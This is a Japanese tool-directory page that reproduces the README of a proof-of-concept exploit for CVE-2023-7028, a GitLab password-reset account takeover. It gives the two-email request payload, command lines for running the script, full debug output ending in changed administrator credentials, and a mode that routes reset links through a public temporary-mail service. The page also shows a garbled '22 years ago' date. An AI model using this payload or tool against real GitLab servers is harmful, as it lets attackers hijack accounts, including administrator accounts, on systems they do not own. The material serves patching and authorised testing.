Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-7028-Account-Take-Over-Gitlab — CVE-2023-7028の概念実証エクスプロイト。パスワードリセットメールの操作によるGitLabアカウント乗っ取りを自動化します。一時メール連携を含み、カスタム攻撃者メールをサポートします。 | Kitploit
ツール/GitHubGitHub/shimon03/cve-2023-7028-account-take-over-gitlab
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHubshimon03/cve-2023-7028-account-take-over-gitlab

CVE-2023-7028-Account-Take-Over-Gitlab

CVE-2023-7028の概念実証エクスプロイト。パスワードリセットメールの操作によるGitLabアカウント乗っ取りを自動化します。一時メール連携を含み、カスタム攻撃者メールをサポートします。

リポジトリを見る
22年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-7028 | Gitlab アカウント乗っ取り

免責事項

このコードは脆弱性の概念実証であり、所有していない Gitlab インスタンスでの使用を推奨するものではありません。
このツールは研究および教育目的のみで開発されており、その使用によって生じたいかなる責任も負いません。

説明:

CVE-2023-7028 は、ユーザーの操作なしに Gitlab 管理者アカウントを乗っ取ることを可能にするアカウント乗っ取りの脆弱性です。

この脆弱性は、パスワードリセット時のメール管理に存在します。攻撃者は2つのメールアドレスを指定でき、リセットコードは両方に送信されます。
そのため、対象アカウントのメールアドレスと攻撃者のメールアドレスの両方を指定し、管理者パスワードをリセットすることが可能です。
(Gitlab は、2要素認証がこの脆弱性の悪用を防ぐと指摘しています。攻撃者はパスワードをリセットした後でもログインできないためです。)

この脆弱性は asterion04 によって発見されました。

ペイロード:

ペイロードの例は以下の通りです。

root@kitploit:~
user[email][][email protected]&user[email][][email protected]

POC:

方法1: 一時メールを使用
root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]

[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: l3mG2v2XN4UBzbN18ZkW
方法2: 悪意のあるメールを使用
root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]

[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
        Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: EU7XIYjlawjb5tH2jgmU

ヘルプ

root@kitploit:~
$ python3 .\CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL -t TARGET [-e EVIL]

This tool automates CVE-2023-7028 on gitlab

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Gitlab url
  -t TARGET, --target TARGET
                        Target email
  -e EVIL, --evil EVIL  Evil email
  -p PASSWORD, --password PASSWORD
                        Password

注記:

攻撃者のメールアドレスを指定する --evil オプションがない場合、スクリプトは公開の一時メールを使用してパスワードリセットリンクを探します。
=> この POC をペネトレーションテスト中に使用する場合は注意してください。

影響を受けるバージョン

  • 16.1 から 16.1.5
  • 16.2 から 16.2.8
  • 16.3 から 16.3.6
  • 16.4 から 16.4.4
  • 16.5 から 16.5.5
  • 16.6 から 16.6.3
  • 16.7 から 16.7.1

参考情報:

  • https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
  • https://docs.gitlab.com/ee/install/docker.html
  • https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0030/
ツールをダウンロード